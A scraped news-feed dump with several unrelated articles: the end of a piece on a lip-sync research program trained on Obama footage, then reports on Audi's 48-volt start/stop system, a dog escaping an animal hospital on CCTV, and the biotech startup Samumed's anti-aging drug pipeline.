The program isn’t perfect yet, but in the video below you can see how much better it gets after three minutes, one hour, seven hours and 14 hours of training data. Some limitations the team has pointed out include occasional mistakes in mouth and facial alignment — sometimes it gave Obama two chins — an inability to match emotion and issues arising with sounds that require a particular placement of the tongue, like “th,” which isn’t currently covered by their program.

But, overall this artificial lip-syncing program creates a much more realistic image than others have. The work will be published in ACM Transactions on Graphics and you can see the researchers’ process in the video below.

Via: University of Washington

Source: ACM Transactions on Graphics

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The next Audi A8 will have a super quick and smooth 48-volt start/stop system https://briefnews.eu/the-next-audi-a8-will-have-a-super-quick-and-smooth-48-volt-startstop-system/ https://briefnews.eu/the-next-audi-a8-will-have-a-super-quick-and-smooth-48-volt-startstop-system/#respond Fri, 09 Jun 2017 00:12:03 +0000 http://briefnews.eu/the-next-audi-a8-will-have-a-super-quick-and-smooth-48-volt-startstop-system/

Audi has shown a number of interesting uses for 48-volt electrical systems. The most exciting of these involve improving performance, such as with an electric supercharger. The company’s latest idea is a bit more mundane, but still intriguing. It involves the use of a 48-volt electrical system and a belt-driven combination alternator and starter that will come standard on the new Audi A8. This system doesn’t improve performance, but it does allow the engine start and stop system to be smarter, faster, smoother, and in-turn, more efficient.

The best way to explain the benefits of the Audi system is by first establishing an issue with conventional start and stop systems. With a conventional system, there is a palpable moment between when the foot comes off the brake pedal, and when the engine starts. This moment is long enough that it could result in, at minimum, annoyance if the engine were shut off while slowing down, but traffic started moving again, and you couldn’t accelerate immediately. At worst, this could result in a somewhat hazardous moment when you don’t have full control of the car’s movement.

The belt-driven alternator and starter on the Audi system can start the engine much faster, and it has sensors that can monitor the car ahead to know whether the engine needs to restart. As a result, it is safe and convenient for the Audi system to shut off the engine as soon as it hits 13 mph while slowing down. This also allows the engine to be shut off for longer than a normal start-stop system would. According to Audi, it’s also fast and smooth enough that the engine can be shut off during coasting for up to 40 seconds between speeds of about 35 and 99 mph.

There’s one other advantage to the way this Audi system is designed. Because the starter capability is included in the belt-driven alternator, it’s hypothetically able to be used on any vehicle with any powertrain, provided there’s a 48V electrical system. It can simply be bolted onto the front of an engine, instead of needing a whole motor sandwiched somewhere between the engine and transmission. So don’t be surprised if you see it show up on other Audis in the near future.

This feature will be standard on all next-generation Audi A8s. The car will be fully revealed on July 11.

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]]> https://briefnews.eu/the-next-audi-a8-will-have-a-super-quick-and-smooth-48-volt-startstop-system/feed/ 0 Dog's Smooth as Hell Jailbreak Captured on CCTV Cameras https://briefnews.eu/dogs-smooth-as-hell-jailbreak-captured-on-cctv-cameras/ https://briefnews.eu/dogs-smooth-as-hell-jailbreak-captured-on-cctv-cameras/#respond Wed, 12 Apr 2017 07:38:07 +0000 http://briefnews.eu/dogs-smooth-as-hell-jailbreak-captured-on-cctv-cameras/

General is a very good dog who just wanted to get out of the animal hospital. He plotted his escape and when the time was right, he put his plan into action. You can just feel that sweet taste of freedom hit him as he saunters off into the unknown.

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The ten-year-old Great Pyrenees was being held at the Aquia-Garrisonville Animal Hospital in Stafford, Virginia while his family was on vacation, local news outlet WJLA reports. It’s unclear what exactly happened that allowed General to initially push open the door to his cell. It looks like the keys were left in the door. The look on his fellow inmate’s face when he first gets out is priceless. From there, General makes his way through the office leisurely, but always keeping a lookout. He manages to open at least three more doors before finally reaching the parking lot and wandering off to do whatever he pleased.

WJLA initially spread the word of the dog’s brazen escape and asked viewers to help find him. After about 15 hours of freedom, he was found in a nearby neighborhood taking a nap in a stranger’s lawn and has since been reunited with his family.

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His owner tells WJLA that General is “a little Houdini,” and he’s always getting through doors. Great Pyrenees are known for being very gentle dogs but not particularly smart. Stanley Coren’s The Intelligence of Dogsranks them number 64 out 79 ranks. But that seems flawed. They’re also known to be very stubborn, so maybe they just don’t want to do that stupid crap humans are asking them to do. All we know is that General is smart and now he’s a legend.

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A $12 billion startup you’ve probably never heard wants to cure baldness and smooth out your wrinkles https://briefnews.eu/a-12-billion-startup-youve-probably-never-heard-wants-to-cure-baldness-and-smooth-out-your-wrinkles/ https://briefnews.eu/a-12-billion-startup-youve-probably-never-heard-wants-to-cure-baldness-and-smooth-out-your-wrinkles/#respond Mon, 03 Apr 2017 05:00:49 +0000 http://briefnews.eu/a-12-billion-startup-youve-probably-never-heard-wants-to-cure-baldness-and-smooth-out-your-wrinkles/ Samumed 4x3Diana Yukari/Business Insider; photos courtesy Samumed

Samumed is a $ 12 billion private biotech startup you’ve probably never heard of.

The San Diego-based company has attracted $ 300 million in funding and a heady valuation thanks to a pipeline of what could be revolutionary treatments to regenerate hair, skin, bones, and joints.

It offers the promise of reversing conditions related to aging by regrowing hair on balding heads, smoothing out wrinkles, and regenerating cartilage to worn-down joints in people with osteoarthritis.

If that seems to be too good to be true, the company is well aware.

“We get that reaction from anyone who actually listens to our story,” CEO Osman Kibar told Business Insider in January.

That skepticism has only grown with the company’s valuation, which is now one of the highest for a private biotech company. The firm’s list of backers — lacking as it does specialist healthcare investors — and secrecy over its science have also raised questions.

Then there’s Theranos, the onetime $ 9 billion startup that has fallen from grace and now casts a pall over the healthcare-startup space.

Cevdet Samikoglu, Samumed’s chief financial officer, understands all of that. In fact, he asked many of the same questions. Samikoglu met Kibar more than 30 years when they both attended Robert College, a high school in Istanbul. Kibar had worked in venture capital, launched a company that later sold to pharma giant Novartis, and eventually created an incubator where he came across the technology that would become the backbone for Samumed.

Samikoglu signed on as an investor in Samumed initially in 2007, at which point he asked the same question.

“I’d basically badger [Kibar] with that question time and again,” Samikoglu said. “When I came on board, the first few months I was kind of thinking about that, ‘I can’t believe we’re sitting on this, I can’t believe the potential of it.'”

Unlike Theranos, Samumed has been open about presenting its data, and before it gets to the market, the treatments will have to be approved by the FDA.

In the end, Samikoglu simply became too busy to think about it.

“We might be sitting on a molecule that already has the answer,” he said. “But taking that and making it into a drug is a decade-long struggle.”

Here’s the science

Your body is equipped with something called progenitor stem cells. These cells are in charge of repairing and replenishing specific organs in the body. For example, a mesenchymal stem cell of the osteoblast lineage can go in and repair bone that’s damaged. That process has something to do with the WNT pathway, a set of proteins that tell these stem cells to spring into action.

“By dialing up or down various WNT genes or WNT processes, you can trigger any one of these progenitor stem cells down a certain lineage,” Kibar said.

As we get older, our WNT levels start to get out of balance, Kibar said. Take the example of mesenchymal stem cells. “If the WNT activity levels can no longer increase such that it’s not making enough bone, now you develop osteoporosis.”

What Samumed hopes to do is manipulate the pathway that makes these progenitor stem cells spring into action, so that they don’t cause these diseases.

For example, Samumed has a treatment for androgenetic alopecia, a common form of hair loss. The idea is that by using the treatment, people with alopecia will be able to regrow some of their lost hair follicles, which are the layer of cells and connective tissue that envelop the root of a hair and are critical for its growth.

AlopeciaWikimedia Commons

So far, the data looks promising.

A phase-two trial (the stage at which drugs are stacked up against a placebo control to see if they’re safe and work as intended) presented in 2016 to the American Academy of Dermatology looked at the effects of a topical treatment called SM04554 in about 300 men ages 18-55. The men were split into three groups: a placebo group, a group given a .15% dose of the treatment, and a group given a .25% dose of the treatment.

At the end of 135 days, those given the lower dose saw the most hair growth with an increase of roughly 10%. Those on the higher dose saw an increase of about 7%. And those on the placebo, not surprisingly, continued to lose hair.

In a second study, 49 men were split into the same three groups. They had the skin on top of their heads biopsied at the beginning, after 90 days, and at the end of the 135-day trial. That gave the researchers a peek into what was happening at the hair-follicle level. They found that those taking the two doses had greater hair-follicle growth than the placebo group, confirming what the other study saw on the surface, Samumed chief medical officer Yusuf Yazici told Business Insider.

In the second study, those on the .25% had slightly more follicle growth than the .15% group. To get an even better picture of how the treatments work long term, Samumed is setting up another phase-two trial that will include both doses to figure out which one is the best to use in a phase-three study that could set the treatment up for approval with the FDA.

Samumed will have to show that the treatment works better than placebo in regenerating hair. And even then there is still some skepticism about how long the effects will last.

“Can you generate a long-lasting tissue that can negotiate its way through to aging, fibrosis, damage, and stay put all these years?” Dr. Shahin Rafii, a professor of genetic medicine at Weill Cornell Medical College told Business Insider. Rafii is one of the scientific founders of Angiocrine Sciences, a company using endothelial cells to repair tendons and treat lung diseases.

While Samumed’s hair-loss program might have the most data to date, its osteoarthritis program is the closest to getting into a phase-three trial, Yazici said. That program is trying to regenerate cartilage in the knee to replace what’s lost in patients with osteoarthritis, a condition that affects 30 million Americans. If it’s successful, it could be the first treatment to regrow cartilage.

Samumed has seven drugs in human clinical trials up to phase two and plans to be in 10 disease areas by the end of 2017. Samumed is also applying its WNT-activating technology to treatments for colon cancer, degenerative-disc disease, and tendinopathy, as well as to cosmetics in order to wipe out wrinkles.

Secrecy and privacy

When Kibar first asked Samikoglu to sign on about seven years ago, and he decided to relocate from New York to California, his wife asked, “How long will this adventure last in San Diego?”

At the time, he told her that he expected it to be a few years before the company was able to get to an initial public offering. Now, it’s looking like the company might not go public until it can get an approved product and start generating revenue, Kibar said at the Forbes Healthcare Summit in December 2016.

“In an ideal world, I think every biotech company would want to remain private so they can focus only on the science, without thinking about what the market requires,” Samikoglu said. “We are that lucky company.”

In an ideal world, I think every biotech company would want to remain private so they can focus only on the science.

The $ 12 billion valuation Samumed has right now is based on the $ 300 million it has raised over the years. The valuation grew based on its lead compound, with the rest of the pipeline thrown in as a “freebie,” Kibar said.

The valuation is among the highest in biotech. Stemcentrx, a cancer-drug company, had a $ 5 billion valuation before it was bought by AbbVie in a $ 10.2 billion deal. And Moderna Therapeutics is edging up on a $ 5 billion valuation, according to Stat News.

Samumed has backers who aren’t traditional life-sciences investors, including high-net-worth individuals and sovereign funds. Finian Tan, whose firm Vickers Venture Partners is the only VC to fund Samumed, told Bloomberg that he expected his investment to pay off even more than his early investment in Chinese tech giant Baidu.

“I’ve always been radical,” he told Bloomberg. “For us, it’s all about home runs.”

The lack of well-known healthcare specialist investors has led to some skepticism, along with comparisons to blood-testing company Theranos, which raised $ 725 million and had a $ 9 billion valuation before The Wall Street Journal published an investigation that questioned the accuracy of Theranos’ blood test and led to its clinical labs getting shut down.

Samumed is also keeping the nitty-gritty of how it is able to apply its WNT technology close to its chest, and that has raised some eyebrows.

“To summarize our secretiveness, we don’t disclose our targets, we don’t disclose our chemical structures,” Kibar said. When it comes to data, the company is big on presenting at conferences and plans to publish later-stage trials in academic journals.

“We’re basically telling everyone, here’s proof that it works,” Kibar said. “How it works — you just need to wait a little longer, because we want to build as much a head start as we can.”

The key difference is that Samumed is being public about its data. It presents at medical conferences, where it gets peer-reviewed as part of the vetting process, Kibar said. And before it gets on the market, it will have to be approved by the FDA.

“Ultimately, we will live or die with the strength of our data,” Kibar said. “Because we are in the business of therapeutics, we don’t have the luxury of not sharing data with the regulatory agencies.”

The promise and pitfalls of treating diseases related to aging

stem cells biggestAFPSamumed’s furthest-along treatments are in phase-two trials, which means there is still a ways to go before the treatments can be evaluated by the FDA. If one or more of the company’s treatments can be approved, it would be a big deal for regenerative medicine, not to mention the promise of antiaging treatments.

In the past few years, there’s been a fair amount of interest in companies like Samumed that are trying to treat diseases of aging.

Unity Biotechnology, which is working on treatments that act on senescent cells (cells that have permanently stopped dividing that have been linked to conditions as varied as heart conditions and eye problems) in October raised $ 116 million from investors including Amazon CEO Jeff Bezos.

In 2013, Google founded Calico, a biotechnology company devoted to learning how to extend the human lifespan.

And over the past few decades, researchers have made strides to understanding more about stem cells and regeneration. There have been a number of setbacks, and there’s no guarantee this new wave of companies won’t fail as well. Still, researchers are optimistic.

“If you hit any one of these, you’re going to be helping literally tens of millions of people,”

“If you hit any one of these, you’re going to be helping literally tens of millions of people,”

Dr. Robert Lanza, chief scientific officer at Astellas Institute of Regenerative Medicine, told Business Insider.

Astellas is working on treatments for blindness using stem cells. To make that or other treatments a reality, Lanza is pulling together leaders and scientists in the regenerative-medicine world to stack the deck in his favor. “We’re in a good position to make a difference,” he said.

Ned David, president of Unity, told Business Insider that he found Samumed’s approach thoughtful. Like Samumed’s work on the WNT pathway, treatments that remove senescent cells are still in the experimental stages.

“The tragedy for either one of those biologies would be that you picked an indication, eggs in one basket, bet everything on red. Then you flip the data card, you flip the wrong patients, chose the wrong molecule, or didn’t dose right, and the whole company dies and the science is set back a decade,” David said. “That’s a social tragedy.”

So that way, if you spread everything out, go after really different drugs, your odds go up, the thinking goes.

“If you bet everything on red, the chance it works is way less than a coin flip. And if you got two, the chance that either of those work is still less than a coin flip. Three, you’re starting to look coin-flip level,” David said. “That’s something I can get my head around.”

NOW WATCH: This incredible animation shows how deep the ocean really is


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